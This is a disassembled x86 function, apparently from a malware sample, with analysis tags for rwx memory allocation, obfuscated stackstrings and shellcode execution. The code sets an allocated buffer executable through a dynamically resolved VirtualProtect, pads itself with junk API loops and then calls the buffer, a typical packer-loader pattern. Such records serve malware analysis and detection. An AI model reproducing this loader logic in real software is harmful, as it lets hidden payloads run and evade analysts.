Function at 0x40e1e0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call
Get file attributes
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x12d8
call fcn.00409360
push ebx
push esi
push edi
push 0x4f7628
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x280a7
jne 0x40e240
cmp dword [0x511ffc], 0xc8b
jne 0x40e231
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
push 0
lea eax, [ebp - 0xad8]
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push 0
call fcn.0040223f
add esp, 4
jmp 0x40e240
mov edi, dword [ebp - 0x70]
xor esi, esi
mov ebx, dword [sym.imp.USER32.dll_GetCaretPos]
jmp 0x40e250
lea eax, [ebp - 0x94]
push eax
call ebx
cmp esi, 0x14d270
jle 0x40e275
cmp dword [ebp - 0x94], 0x751a9b28
je 0x40e275
cmp edi, 0x12692ae3
jne 0x40e27e
inc esi
cmp esi, 0x22143f01
jl 0x40e250
mov eax, dword [0x428fbc]
add eax, 0xb2d3b
push str.kernel32.dll
mov dword [0x511ffc], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x4f761c], eax
mov dword [ebp - 8], 0x4a25f3a
mov dword [ebp - 4], 0x5f5530bd
mov dword [ebp - 0x14], 0x47251fbf
mov dword [ebp - 0x10], 0x1700b6bd
mov dword [ebp - 0x68], 0x17b451ce
mov dword [ebp - 0x50], 0x5a69cc98
mov dword [ebp - 0x18], 0x263fa579
mov dword [ebp - 0x30], 0x38707a86
mov dword [ebp - 0x34], 0x146bd94e
mov dword [ebp - 0x228], 0x2719cef
mov dword [ebp - 0x58], 0x5bd47faa
mov dword [ebp - 0x38], 0x14fc6dd8
mov dword [ebp - 0x40], 0x3b5ab2db
mov dword [ebp - 0x54], 0x3e1ff617
mov dword [ebp - 0x1c], 0x7a9aef9d
mov dword [ebp - 0xc], 0x4e1a976a
mov dword [ebp - 0x2c], 0x6f18af81
mov dword [ebp - 0x88], 0x51722c2
mov dword [ebp - 0x74], 0x7b311788
mov dword [ebp - 0x4c], 0x218d970f
mov dword [ebp - 0x48], 0x2c0c2f07
mov dword [ebp - 0x64], 0x37b5bbc5
mov dword [ebp - 0x3c], 0xb8cd3d9
mov dword [ebp - 0x60], 0x2a1068e0
mov dword [ebp - 0x5c], 0x6f157c13
mov dword [ebp - 0x7c], 0x13bc955a
mov dword [ebp - 0x24], 0x4d0ec02f
mov dword [ebp - 0x2bc], 0x6be85f8
mov dword [ebp - 0x28], 0x649d9682
mov dword [ebp - 0x2cc], 0x7e9929a0
mov dword [ebp - 0xa0], 0x666676e6
mov dword [ebp - 0x1c0], 0x1903df9f
mov dword [ebp - 0x44], 0x77d6e5d8
mov dword [ebp - 0xa8], 0x18611385
mov dword [ebp - 0x250], 0x4f04e104
mov dword [ebp - 0xb0], 0x65fddc59
mov dword [ebp - 0x1c8], 0x599dc2f9
mov dword [ebp - 0xb8], 0x3efd5507
mov dword [ebp - 0x80], 0x344eae28
mov dword [ebp - 0x298], 0x10d18677
mov dword [ebp - 0x84], 0x34fe7e0f
mov dword [ebp - 0x78], 0x61abb4c4
mov dword [ebp - 0x70], 0x40928745
mov dword [ebp - 0xc0], 0x14db47f7
mov dword [ebp - 0x1d0], 0xb3e0e97
mov dword [ebp - 0x20], 0x366e66ee
mov dword [ebp - 0xc8], 0x5dbc40d4
mov dword [ebp - 0x258], 0x573f26a2
mov dword [ebp - 0xd0], 0x5f01e0b8
mov dword [ebp - 0x1d8], 0xf3e1631
mov dword [ebp - 0xd8], 0x233bd6f2
mov dword [ebp - 0x2d4], 0x8824d09
mov dword [ebp - 0xe0], 0x3eb0f71c
mov dword [ebp - 0x1e0], 0x4bbca550
mov dword [ebp - 0xe8], 0x5d223b70
mov dword [ebp - 0x260], 0x25345aaa
mov dword [ebp - 0xf0], 0x2b5c626f
mov dword [ebp - 0x1e8], 0x14535dd
mov dword [ebp - 0xf8], 0x6fbe85d3
mov dword [ebp - 0x2a0], 0x3d8f946d
mov dword [ebp - 0x100], 0x6383c31e
mov dword [ebp - 0x1f0], 0x3fee6f70
mov dword [ebp - 0x108], 0x21713cf6
mov dword [ebp - 0x268], 0x18830197
mov dword [ebp - 0x110], 0x4865cf77
mov dword [ebp - 0x1f8], 0x39568152
mov dword [ebp - 0x118], 0x5fbab620
mov dword [ebp - 0x2c0], 0x51694b40
mov dword [ebp - 0x120], 0x3e2ba7
mov dword [ebp - 0x200], 0x4696af7b
mov dword [ebp - 0x128], 0x67083a9
mov dword [ebp - 0x270], 0x4d584f72
mov dword [ebp - 0x130], 0x662aa957
mov dword [ebp - 0x208], 0x20236672
mov dword [ebp - 0x138], 0x4e37edb8
mov dword [ebp - 0x2a8], 0x2dbea477
mov dword [ebp - 0x140], 0x429f7140
mov dword [ebp - 0x210], 0x71069013
mov dword [ebp - 0x148], 0x2485f6e0
mov dword [ebp - 0x278], 0x77478184
mov dword [ebp - 0x150], 0x37b02ca8
mov dword [ebp - 0x218], 0x69d54510
mov dword [ebp - 0x158], 0x1ffa54a
mov dword [ebp - 0x2d0], 0x1b7561e0
mov dword [ebp - 0x160], 0x4e9281a2
mov dword [ebp - 0x220], 0x46bc9f8
mov dword [ebp - 0x168], 0x2b907e1e
mov dword [ebp - 0x280], 0x44075b5f
mov dword [ebp - 0x170], 0x2715c707
mov dword [ebp - 0x98], 0x55c3f79
mov dword [ebp - 0x178], 0x582e14a4
mov dword [ebp - 0x2b0], 0x29d84bc7
mov dword [ebp - 0x180], 0xdfc4c71
mov dword [ebp - 0x230], 0x37467419
mov dword [ebp - 0x188], 0x784fa6d1
mov dword [ebp - 0x288], 0x32b0d52d
mov dword [ebp - 0x190], 0x56d15639
mov dword [ebp - 0x238], 0x2801d85c
mov dword [ebp - 0x198], 0x89e5439
mov dword [ebp - 0x2c8], 0x3ecb0483
mov dword [ebp - 0x1a0], 0x36150c75
mov dword [ebp - 0x240], 0x4ca2ac6c
mov dword [ebp - 0x1a8], 0x7d79eca4
mov dword [ebp - 0x290], 0x4cf1bf0d
mov dword [ebp - 0x1b0], 0x6bd872a1
mov dword [ebp - 0x248], 0x728ae62
mov dword [ebp - 0x1b8], 0x2c848559
mov dword [ebp - 0x2b8], 0x27b029af
mov dword [ebp - 0x9c], 0x5fe9164
mov dword [ebp - 0xa4], 0x64aa9d73
mov dword [ebp - 0xac], 0xd86d7b0
mov dword [ebp - 0xb4], 0x679f866e
mov dword [ebp - 0xbc], 0x29bc9666
mov dword [ebp - 0xc4], 0x75718412
mov dword [ebp - 0xcc], 0x666882c7
mov dword [ebp - 0xd4], 0x143092cb
mov dword [ebp - 0xdc], 0x5ecd5c2b
mov dword [ebp - 0xe4], 0x36607033
mov dword [ebp - 0xec], 0x768a1920
mov dword [ebp - 0xf4], 0x404aacc6
mov dword [ebp - 0xfc], 0x54d7df25
mov dword [ebp - 0x104], 0x6b21bd82
mov dword [ebp - 0x10c], 0x103a8569
mov dword [ebp - 0x114], 0x5c10144f
mov dword [ebp - 0x11c], 0x5a09a830
mov dword [ebp - 0x124], 0x45311baa
mov dword [ebp - 0x12c], 0x58a11275
mov dword [ebp - 0x134], 0x7b6011bf
mov dword [ebp - 0x13c], 0xe62888c
mov dword [ebp - 0x144], 0x3f454e3
mov dword [ebp - 0x14c], 0x2f82f825
mov dword [ebp - 0x154], 0x3f962789
mov dword [ebp - 0x15c], 0x26c14ebc
mov dword [ebp - 0x164], 0x4a3487e
mov dword [ebp - 0x16c], 0x27aea30e
mov dword [ebp - 0x174], 0xd214bc1
mov dword [ebp - 0x17c], 0x58f7bb5d
mov dword [ebp - 0x184], 0x654b7666
mov dword [ebp - 0x18c], 0x2a4aa0ac
mov dword [ebp - 0x194], 0x1e4448a5
mov dword [ebp - 0x19c], 0x127e0fd7
mov dword [ebp - 0x1a4], 0x7404425b
mov dword [ebp - 0x1ac], 0x564064a2
mov dword [ebp - 0x1b4], 0x675d32e6
mov dword [ebp - 0x1bc], 0x1c1bca33
mov dword [ebp - 0x1c4], 0x2b652bc5
mov dword [ebp - 0x1cc], 0x78fdcdc9
mov dword [ebp - 0x1d4], 0x25014aac
mov dword [ebp - 0x1dc], 0x4bbff6d5
mov dword [ebp - 0x1e4], 0x4e38a8d0
mov dword [ebp - 0x1ec], 0x4d799f05
mov dword [ebp - 0x1f4], 0x75b34f8
mov dword [ebp - 0x1fc], 0x471a7a6b
mov dword [ebp - 0x204], 0x1bb360ad
mov dword [ebp - 0x20c], 0x6a3e8e40
mov dword [ebp - 0x214], 0x2efadffa
mov dword [ebp - 0x21c], 0x725c37d0
mov dword [ebp - 0x224], 0xcb972de
mov dword [ebp - 0x22c], 0x262d92e9
mov dword [ebp - 0x234], 0x5317ec6e
mov dword [ebp - 0x23c], 0x4f38b5e2
mov dword [ebp - 0x244], 0x3caf5f6d
mov dword [ebp - 0x24c], 0x467a864f
mov dword [ebp - 0x254], 0x15ac0076
mov dword [ebp - 0x25c], 0x46ba386c
mov dword [ebp - 0x264], 0x6205c7c6
mov dword [ebp - 0x26c], 0x63e880f6
mov dword [ebp - 0x274], 0x1a34d7c7
mov dword [ebp - 0x27c], 0x1119a210
mov dword [ebp - 0x284], 0x3752a4a4
mov dword [ebp - 0x28c], 0x7d158ab0
mov dword [ebp - 0x294], 0x19d769f2
mov dword [ebp - 0x29c], 0x71e08a7f
mov dword [ebp - 0x2a4], 0x5bab4b3f
mov dword [ebp - 0x2ac], 0x4d4fab03
mov dword [ebp - 0x2b4], 0x1470ce6f
add dword [ebp - 8], 0x7e537124
mov eax, 0x39a64c52
mul dword [ebp - 8]
mov eax, dword [ebp - 8]
add dword [ebp - 8], 0x10976774
mov eax, 0x3a0946ad
mul dword [ebp - 8]
mov eax, dword [ebp - 8]
mov eax, 0x7d0ffd72
mul dword [ebp - 8]
mov eax, dword [ebp - 8]
sub dword [ebp - 8], 0x4d43c425
sub dword [ebp - 8], 0x5a3c9e62
mov eax, 0x33642ad1
mul dword [ebp - 8]
mov eax, dword [ebp - 8]
add dword [ebp - 4], 0x15f270de
sub dword [ebp - 4], 0x561bcc0b
mov eax, 0x5980d5aa
mul dword [ebp - 4]
mov eax, dword [ebp - 4]
add dword [ebp - 4], 0x423e6c0f
add dword [ebp - 4], 0xd0e0d72
add dword [ebp - 4], 0x2fcddaad
mov eax, 0x66ee91b6
mul dword [ebp - 8]
mov eax, dword [ebp - 8]
sub dword [ebp - 4], 0x5d7d8a4a
mov eax, 0x7585f22f
mul dword [ebp - 8]
mov eax, dword [ebp - 8]
mov eax, 0x28aff769
mul dword [ebp - 4]
mov eax, dword [ebp - 4]
sub dword [ebp - 4], 0x5b07946f
add dword [ebp - 0x10], 0xa045f57
add dword [ebp - 0x14], 0x145b6b56
mov eax, 0x5b41f5b3
mul dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
sub dword [ebp - 4], 0x6f26efbb
mov eax, 0x42609e05
mul dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, 0x349183a1
mul dword [ebp - 4]
mov eax, dword [ebp - 4]
add dword [ebp - 0x50], 0x3a7df76
mov eax, 0x3d52fcc4
mul dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
sub dword [ebp - 8], 0x71f322ce
add dword [ebp - 0x14], 0x503724de
add dword [ebp - 0x10], 0x5429d6fd
sub dword [ebp - 0x18], 0x3e6b46ba
mov eax, 0x12800acc
mul dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
add dword [ebp - 0x68], 0x111ec6ed
sub dword [ebp - 0x38], 0x32fd2e61
add dword [ebp - 0x18], 0x58bbe413
add dword [ebp - 0x30], 0x24cf2d83
sub dword [ebp - 0x30], 0x16a847a
sub dword [ebp - 4], 0x5b67980
add dword [ebp - 4], 0x9abbf7d
add dword [ebp - 0x34], 0x676692b4
add dword [ebp - 0x68], 0x49e0854f
sub dword [ebp - 0xc], 0x31e3745d
add dword [ebp - 0x40], 0x60ef302e
sub dword [ebp - 0x1c], 0x6cb02334
sub dword [ebp - 0x40], 0x78d555e8
mov eax, 0x300d9bd7
mul dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
add dword [ebp - 0x58], 0x3455736a
add dword [ebp - 0x54], 0x55735058
add dword [ebp - 0xc], 0x66d06650
mov eax, 0x52cac6da
mul dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
add dword [ebp - 0x10], 0x1b416dca
sub dword [ebp - 0x64], 0x7073ca
sub dword [ebp - 0x74], 0x7418a312
mov eax, 0x28777ae1
mul dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, 0x44f3b04c
mul dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, 0x79a73e4e
mul dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
mov eax, 0x7b597a99
mul dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
sub dword [ebp - 0x2c], 0x140269d4
mov eax, 0x64faa0bf
mul dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
sub dword [ebp - 0xc], 0x721f8580
sub dword [ebp - 8], 0x4874fac3
add dword [ebp - 0x14], 0x15545ece
add dword [ebp - 0x88], 0x7b7fa9f
mov eax, 0x6a2004ae
mul dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
sub dword [ebp - 0x40], 0x94d016d
add dword [ebp - 0x18], 0x18420760
sub dword [ebp - 0x24], 0x210c2039
add dword [ebp - 0x44], 0x1dc04c72
sub dword [ebp - 0x7c], 0x39b29b84
sub dword [ebp - 0x24], 0x46bf88c9
sub dword [ebp - 0x34], 0x3b5fc53c
sub dword [ebp - 0x4c], 0x3506125d
add dword [ebp - 0x18], 0x6be82721
add dword [ebp - 0x5c], 0x5b2f24fd
mov eax, 0x11f9d769
mul dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
add dword [ebp - 0x28], 0x348c1b13
mov eax, 0x31f0a0fb
mul dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
sub dword [ebp - 0x2c], 0x5e2b9616
sub dword [ebp - 0x48], 0x6b362064
add dword [ebp - 0x54], 0x1b23d468
add dword [ebp - 0xc], 0x1bd29e4c
sub dword [ebp - 0x3c], 0x9c35997
sub dword [ebp - 4], 0x6b9b5646
mov eax, 0x2fda8660
mul dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
sub dword [ebp - 0x80], 0x7b81acae
add dword [ebp - 0x50], 0x7b6e0ab7
sub dword [ebp - 0x20], 0x7f8a8b04
sub dword [ebp - 0x38], 0x405c83a1
mov eax, 0x52710d6d
mul dword [ebp - 0x84]
mov eax, dword [ebp - 0x84]
add dword [ebp - 0x78], 0xa2324f8
sub dword [ebp - 0x2c], 0x6618e612
sub dword [ebp - 0x34], 0x1959164c
add dword [ebp - 0x1c], 0x7572c4fa
mov eax, 0x3b537fce
mul dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
sub dword [ebp - 0x20], 0x38dd8f37
add dword [ebp - 0x3c], 0x7d6d9e11
add dword [ebp - 0x20], 0x7ab45d58
mov eax, 0xd15f45b
mul dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
sub dword [ebp - 0x44], 0x390c50f9
add dword [ebp - 0x28], 0x4bdee8c1
mov eax, 0x3604a955
mul dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
sub dword [ebp - 0xc], 0x510354df
mov eax, 0x1efabfd6
mul dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, 0x17266829
mul dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
mov eax, 0x53f58d01
mul dword [ebp - 0x24]
push 0x4154b4
push dword [0x4f761c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x511ffc]
mov dword [0x4f6774], eax
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
xor esi, esi
mov dword [0x4f6770], eax
mov eax, dword [0x428fb0]
mov dword [0x512000], eax
cmp dword [0x511ffc], esi
jbe 0x40ed02
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ebx, [ebx]
push esi
call fcn.0040edf0
mov eax, dword [0x511ffc]
cmp eax, 0xd37
jne 0x40ecfd
push 0
lea eax, [ebp - 0x12d8]
push eax
call edi
push 0
lea eax, [ebp - 0x6d8]
push eax
call ebx
mov eax, dword [0x511ffc]
inc esi
cmp esi, eax
jb 0x40ecd0
push str.VirtualProtect
push dword [0x4f761c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x8c]
mov dword [0x4389d4], eax
push ecx
push 0x40
push dword [0x511ffc]
push dword [0x4f6770]
call eax
push ecx
call fcn.0040ee20
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov esi, 0xea7bb
mov ebx, dword [sym.imp.KERNEL32.dll_WriteConsoleA]
jmp 0x40ed50
cmp dword [0x511ffc], 0x3b3
jne 0x40ed60
push 0
call edi
cmp dword [0x511ffc], 0x1189
jne 0x40ed9b
push 0
lea eax, [ebp - 0x8c]
push eax
push 0
push 0
push 0
call ebx
lea eax, [ebp - 0x2c4]
push eax
lea eax, [ebp - 0x69]
push eax
lea eax, [ebp - 0x90]
push eax
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
dec esi
jne 0x40ed50
mov edi, dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
mov esi, 0x24c129
mov ebx, dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
nop
cmp dword [0x511ffc], 0x11ce
jne 0x40edc0
push 0
call edi
cmp dword [0x511ffc], 0x734
jne 0x40edd2
push 0
push 0
call ebx
dec esi
jne 0x40edb0
call dword [0x4f6770]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret